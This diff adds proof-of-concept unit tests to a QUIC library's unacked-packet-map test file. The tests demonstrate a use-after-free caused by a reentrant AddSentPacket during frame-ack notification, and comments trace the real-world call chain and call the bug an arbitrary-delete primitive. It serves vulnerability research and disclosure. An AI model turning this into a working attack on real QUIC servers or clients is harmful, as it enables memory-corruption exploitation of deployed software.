diff --git a/quiche/quic/core/quic_unacked_packet_map_test.cc b/quiche/quic/core/quic_unacked_packet_map_test.cc index a94e00617..607b6a061 100644 --- a/quiche/quic/core/quic_unacked_packet_map_test.cc +++ b/quiche/quic/core/quic_unacked_packet_map_test.cc @@ -828,6 +828,195 @@ TEST_P(QuicUnackedPacketMapTest, EcnInfoStored) { ECN_ECT1); } +// ======================================================================= +// POC: DATAGRAM-frame copy bypass + reentrancy → deque relocation UAF +// ======================================================================= +// +// NotifyFramesAcked / MaybeAggregateAckedStreamFrame defensively copy +// retransmittable_frames before iterating, because OnFrameAcked can +// synchronously call AddSentPacket and reallocate the deque backing store. +// +// The copy is BYPASSED when HasDatagramFrame() is true (lines 509-510 / +// 554-555). The absl::Cleanup that re-fetches `info` (lines 517-522 / +// 562-567) is also gated on use_copied_frames, so it is skipped too. +// +// Real-world reentrancy chain (simulated here by directly calling +// AddSentPacket from OnFrameAcked): +// QuicSession::OnFrameAcked(MAX_STREAMS) → MaybeSendMaxStreamsFrame +// → SendMaxStreams → WriteOrBufferQuicFrame → WriteBufferedFrames +// → WriteControlFrame → SendControlFrame +// → ConsumeRetransmittableControlFrame → MaybeBundleOpportunistically +// → FlushDecoderStream fills packet → AddFrame fails (frame_len==0) +// → FlushCurrentPacket → OnSerializedPacket → SendOrQueuePacket +// → WritePacket → OnPacketSent → AddSentPacket → push_back → Relocate +// +// QuicTransmissionInfo has a user-declared copy ctor and dtor, which +// suppress the implicit move ctor. Relocate's "move-constructible" +// SFINAE branch still fires (rvalue→const T& binds), but +// T(std::move(*src)) invokes the COPY ctor: InlinedVector copy ctor +// allocates a fresh heap buffer, then DestroyByAddress runs +// ~QuicTransmissionInfo → ~InlinedVector frees the OLD buffer. +// +// Result: +// UAF Site A: range-for iterators (raw QuicFrame* into the InlinedVector +// heap buffer) computed before the loop dangle. +// UAF Site B: `info` still points into the freed deque slab; the caller +// (MarkPacketHandled) goes on to RemoveFromInFlight(info), +// RemoveRetransmittability(info) → DeleteFrames on a stale +// InlinedVector header. + +class ReentrantNotifier : public SessionNotifierInterface { + public: + ReentrantNotifier(QuicUnackedPacketMap* map, QuicTime now) + : map_(map), now_(now) {} + + bool OnFrameAcked(const QuicFrame& frame, QuicTime::Delta, QuicTime, + bool) override { + ++frames_seen_; + // Fire reentrancy on the first frame (MAX_STREAMS in the real attack). + // The deque is at capacity; this push triggers Relocate, which frees + // both the old deque slab AND the InlinedVector heap buffer of every + // element (via copy-then-destroy). + if (frame.type == MAX_STREAMS_FRAME && !fired_) { + fired_ = true; + SerializedPacket pkt(QuicPacketNumber(next_pkt_num_), + PACKET_1BYTE_PACKET_NUMBER, nullptr, 1000, + /*has_ack=*/false, /*has_stop_waiting=*/false); + QuicStreamFrame sf(/*stream_id=*/9, /*fin=*/false, /*offset=*/0, + /*data_length=*/100); + pkt.retransmittable_frames.push_back(QuicFrame(sf)); + map_->AddSentPacket(&pkt, NOT_RETRANSMISSION, now_, /*in_flight=*/true, + /*measure_rtt=*/true, ECN_NOT_ECT); + } + return true; + } + + void OnStreamFrameRetransmitted(const QuicStreamFrame&) override {} + void OnFrameLost(const QuicFrame&) override {} + bool RetransmitFrames(const QuicFrames&, TransmissionType) override { + return true; + } + bool IsFrameOutstanding(const QuicFrame&) const override { return true; } + bool HasUnackedCryptoData() const override { return false; } + bool HasUnackedStreamData() const override { return false; } + + QuicUnackedPacketMap* map_; + QuicTime now_; + uint64_t next_pkt_num_ = 4; + int frames_seen_ = 0; + bool fired_ = false; +}; + +// UAF Site A: in-loop iterator dereference into freed InlinedVector heap. +TEST_P(QuicUnackedPacketMapTest, DatagramBypassReentrancyUAF_NotifyFramesAcked) { + ReentrantNotifier notifier(&unacked_packets_, now_); + unacked_packets_.SetSessionNotifier(¬ifier); + + // Packet 1: [MAX_STREAMS, DATAGRAM]. DATAGRAM → HasDatagramFrame()==true + // → defensive copy bypassed. Two frames spill InlinedVector + // to heap. + SerializedPacket p1(QuicPacketNumber(1), PACKET_1BYTE_PACKET_NUMBER, nullptr, + 1000, false, false); + p1.retransmittable_frames.push_back( + QuicFrame(QuicMaxStreamsFrame(/*control_frame_id=*/1, + /*stream_count=*/100, + /*unidirectional=*/false))); + p1.retransmittable_frames.push_back( + QuicFrame(new QuicDatagramFrame(/*datagram_id=*/42))); + unacked_packets_.AddSentPacket(&p1, NOT_RETRANSMISSION, now_, true, true, + ECN_NOT_ECT); + + // Packets 2, 3: bring deque to capacity. QuicheCircularDeque + // MinCapacityIncrement=3 → first allocation gives capacity 3. + // Next push_back from inside OnFrameAcked triggers Relocate. + SerializedPacket p2 = CreateRetransmittablePacket(2); + unacked_packets_.AddSentPacket(&p2, NOT_RETRANSMISSION, now_, true, true, + ECN_NOT_ECT); + SerializedPacket p3 = CreateRetransmittablePacket(3); + unacked_packets_.AddSentPacket(&p3, NOT_RETRANSMISSION, now_, true, true, + ECN_NOT_ECT); + + QuicTransmissionInfo* info = + unacked_packets_.GetMutableTransmissionInfo(QuicPacketNumber(1)); + void* info_before = info; + + // NotifyFramesAcked: + // use_copied_frames = !HasDatagramFrame(...) = false + // frames = &info->retransmittable_frames (points into deque slab) + // for-loop computes begin()/end() — raw QuicFrame* into the + // InlinedVector's HEAP BUFFER. + // + // iter 0: OnFrameAcked(MAX_STREAMS) → AddSentPacket(pkt 4) + // → push_back → MaybeExpandCapacity → Relocate + // → RelocateUnwrappedRange copy-ctor's each element into + // the new slab, then DestroyByAddress frees the old + // InlinedVector heap buffer; old deque slab is deallocated. + // + // iter 1: ++__begin; *__begin ← READ FROM FREED HEAP + // ASAN: heap-use-after-free + unacked_packets_.NotifyFramesAcked(QuicPacketNumber(1), + QuicTime::Delta::Zero(), + QuicTime::Zero(), info); + + // ---------- UAF Site B (post-return) ---------- + // The absl::Cleanup that re-fetches info is gated on use_copied_frames, + // so info was NOT updated. It still points into the FREED deque slab. + // MarkPacketHandled (quic_sent_packet_manager.cc:654-681) does: + // info->state ← UAF READ + // RemoveFromInFlight(info) ← UAF READ bytes_sent, WRITE in_flight + // RemoveRetransmittability(info) ← DeleteFrames on stale header + // info->state = ACKED ← UAF WRITE + // + // In a non-ASAN build, Site A may not crash (read of stale-but-not-reused + // memory), so Site B still fires here even after Site A. + EXPECT_TRUE(notifier.fired_); + EXPECT_EQ(info, info_before) << "info was not re-fetched (Cleanup skipped)"; + + // ASAN: heap-use-after-free on info->in_flight read inside the + // freed deque slab. + unacked_packets_.RemoveFromInFlight(info); + // ASAN: DeleteFrames(&info->retransmittable_frames) reads InlinedVector + // header from freed deque slab. With attacker-groomed slab contents, + // this is an arbitrary-typed-delete primitive. + unacked_packets_.RemoveRetransmittability(info); +} + +// Same bug via MaybeAggregateAckedStreamFrame — the path actually taken +// by MarkPacketHandled when transmission_type == NOT_RETRANSMISSION. +TEST_P(QuicUnackedPacketMapTest, + DatagramBypassReentrancyUAF_MaybeAggregateAckedStreamFrame) { + ReentrantNotifier notifier(&unacked_packets_, now_); + unacked_packets_.SetSessionNotifier(¬ifier); + + SerializedPacket p1(QuicPacketNumber(1), PACKET_1BYTE_PACKET_NUMBER, nullptr, + 1000, false, false); + p1.retransmittable_frames.push_back( + QuicFrame(QuicMaxStreamsFrame(1, 100, false))); + p1.retransmittable_frames.push_back( + QuicFrame(new QuicDatagramFrame(42))); + unacked_packets_.AddSentPacket(&p1, NOT_RETRANSMISSION, now_, true, true, + ECN_NOT_ECT); + + SerializedPacket p2 = CreateRetransmittablePacket(2); + unacked_packets_.AddSentPacket(&p2, NOT_RETRANSMISSION, now_, true, true, + ECN_NOT_ECT); + SerializedPacket p3 = CreateRetransmittablePacket(3); + unacked_packets_.AddSentPacket(&p3, NOT_RETRANSMISSION, now_, true, true, + ECN_NOT_ECT); + + QuicTransmissionInfo* info = + unacked_packets_.GetMutableTransmissionInfo(QuicPacketNumber(1)); + + // ASAN: heap-use-after-free when the for-loop at line 569 reads the + // second QuicFrame from the freed InlinedVector heap buffer. + unacked_packets_.MaybeAggregateAckedStreamFrame( + QuicPacketNumber(1), QuicTime::Delta::Zero(), QuicTime::Zero(), info); + + // UAF Site B if Site A didn't crash: + unacked_packets_.RemoveFromInFlight(info); + unacked_packets_.RemoveRetransmittability(info); +} + } // namespace } // namespace test } // namespace quic